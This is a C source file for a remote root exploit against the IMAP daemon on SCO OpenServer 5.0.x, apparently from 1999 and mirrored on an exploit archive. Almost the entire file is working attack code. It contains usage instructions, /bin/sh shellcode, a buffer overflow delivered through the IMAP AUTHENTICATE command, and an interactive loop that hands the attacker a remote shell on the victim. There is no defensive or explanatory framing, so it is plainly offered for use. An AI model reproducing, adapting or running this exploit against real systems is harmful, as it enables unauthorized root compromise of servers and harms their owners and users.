/*
 * !!!! Private do not distribute !!!!
 *
 * <uno.c> Remote root exploit 
 *
 * Offset: imapd-4  
 * 0 -> imapd 9.0(xxx) SCO Openserver 5.0.x
 * No exploitable -> imapd 8.3(144) SCO Openserver 5.0.x  
 * No exploitable -> imapd 10.xxx SCO Openserver 5.0.x
 *
 * Usage: 
 * $ cc uno.c -o uno
 * $ uno 1.1.1.1 0
 *
 * By: The Dark Raver of CPNE (Spain - 25/6/99) 
 * Based on: Ultimate IMAP4 sploit coded by Tekneeq Crew
 *
 * <http://members.tripod.com/~ochodedos> - <doble@iname.com>
 *
 */ 

#include <stdio.h>
#include <stdarg.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define LEN 4096
#define RET 1024
#define OFF 0x7ffff990

int connect_tcp(struct in_addr addr,unsigned short port);
int fdprintf(int dafd,char *fmt,...);
void RunShell(int thesock);

char buf[LEN];
struct in_addr victim;


char hellcode[]=
  "\xeb\x21"                     // start: jmp uno 
  "\x5e"                         // dos: popl %esi
  "\x31\xdb"                     // xorl %ebx,%ebx
  "\x89\x5e\x07"                 // movb %bl,0x7(%esi)
  "\x89\x5e\x0c"                 // movl %ebx,0x0c(%esi)
  "\x88\x5e\x11"                 // movb %bl,0x11(%esi)
  "\x31\xc0"                     // xorl %eax,%eax
  "\xb0\x3b"                     // movb $0x3b,%al
  "\xbf\x30\x30\x30\x30"         // movl 0x30303030, %edi
  "\x29\x7e\x01"                 // subl %edi, 0x01(%esi)
  "\x29\x7e\x03"                 // subl %edi, 0x03(%esi)
  "\x53"                         // pushl %ebx
  "\x53"                         // pushl %ebx 
  "\x56"                         // pushl %esi
  "\x56"                         // pushl %esi
  "\xeb\x10"                     // jmp execve
  "\xe8\xda\xff\xff\xff"         // uno: call dos
  "\x2f\x92\x99\xce\x8f\xa3\x98" // -> /bin/sh
  "\xaa\xaa\xaa\xaa"
  "\x9a\xaa\xaa\xaa\xaa\x07\xaa"// ; // execve: lcall 0x7,0x0 
  "AAAAAAAAAAAAAAAAAAAA";                       

int main (int argc,char **argv) {
  unsigned long *ret;
  char recvbuf[1024];
  int sockfd;
  int i,n=0;

  if(argc < 3) {
    printf("Usage: uno <hostname> <offset>\n");
    exit(0);
  }

  if(!host_to_ip(argv[1],&victim)) {
    fprintf(stderr,"Hostname lookup failure\n");
    exit(0);
  }

  memset(buf,0x90,LEN);
  memcpy(buf+RET-strlen(hellcode),hellcode,strlen(hellcode));

  if((sockfd=connect_tcp(victim,143)) < 0) {
    fprintf(stderr,"Error connecting to remote host\n");
    exit(0);
  }
 
  printf("Connected\n");
  getchar();

  n=read(sockfd,recvbuf,1024);
  if (n <= 0) {
    fprintf(stderr,"Connection closed\n");
    exit(0);
  }
  
  printf("%s\n",recvbuf);

  ret=(unsigned long *)(buf+RET);
  *ret=OFF;
  if(argv[2]) *ret+=(unsigned long)atoi(argv[2]);
  buf[RET+4]=0;

  printf("Sending overflow\n");
  fdprintf(sockfd,"* AUTHENTICATE {%d}\n",strlen(buf));
  fdprintf(sockfd,"%s\r\n",buf);
  read(sockfd,recvbuf,1024);
  RunShell(sockfd);
  close(sockfd);
  return;
}

void RunShell(int thesock)
{
  int n;
  char recvbuf[1024];
  fd_set rset;

  while(1) {
    FD_ZERO(&rset);
    FD_SET(thesock,&rset);
    FD_SET(STDIN_FILENO,&rset);
    select(thesock+1,&rset,NULL,NULL,NULL);
    if(FD_ISSET(thesock,&rset)) {
      n=read(thesock,recvbuf,1024);
      if(n <= 0) {
        printf("Connection closed\n");
        exit(0);
      }
      recvbuf[n]=0;
      printf("%s",recvbuf);
    }
    if(FD_ISSET(STDIN_FILENO,&rset)) {
    n=read(STDIN_FILENO,recvbuf,1024);
    if(n>0) {
      recvbuf[n]=0;
      write(thesock,recvbuf,n); }
    }
  }
}

int fdprintf(int dafd,char *fmt,...)
{
  char mybuffer[LEN];
  va_list va;

  va_start(va,fmt);
  vsnprintf(mybuffer,LEN,fmt,va);
  write(dafd,mybuffer,strlen(mybuffer));
  va_end(va);
  return(1);
}

int connect_tcp(struct in_addr addr,unsigned short port)
{
  struct sockaddr_in serv;
  int thesock,flags;

  thesock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  bzero(&serv,sizeof(serv));
  memcpy(&serv.sin_addr,&addr,sizeof(struct in_addr));
  serv.sin_port=htons(port);
  serv.sin_family=AF_INET;
  if(connect(thesock,(struct sockaddr *)&serv,sizeof(serv)) < 0)
    return(-1);
  else
    return(thesock);
}

int host_to_ip(char *hostname,struct in_addr *addr)
{
  struct hostent *res;
  res=gethostbyname(hostname);
  if(res==NULL)
    return(0);
  memcpy((char *)addr,res->h_addr,res->h_length);
  return(1);
}
/*                   www.hack.co.za   [29 September 2000]*/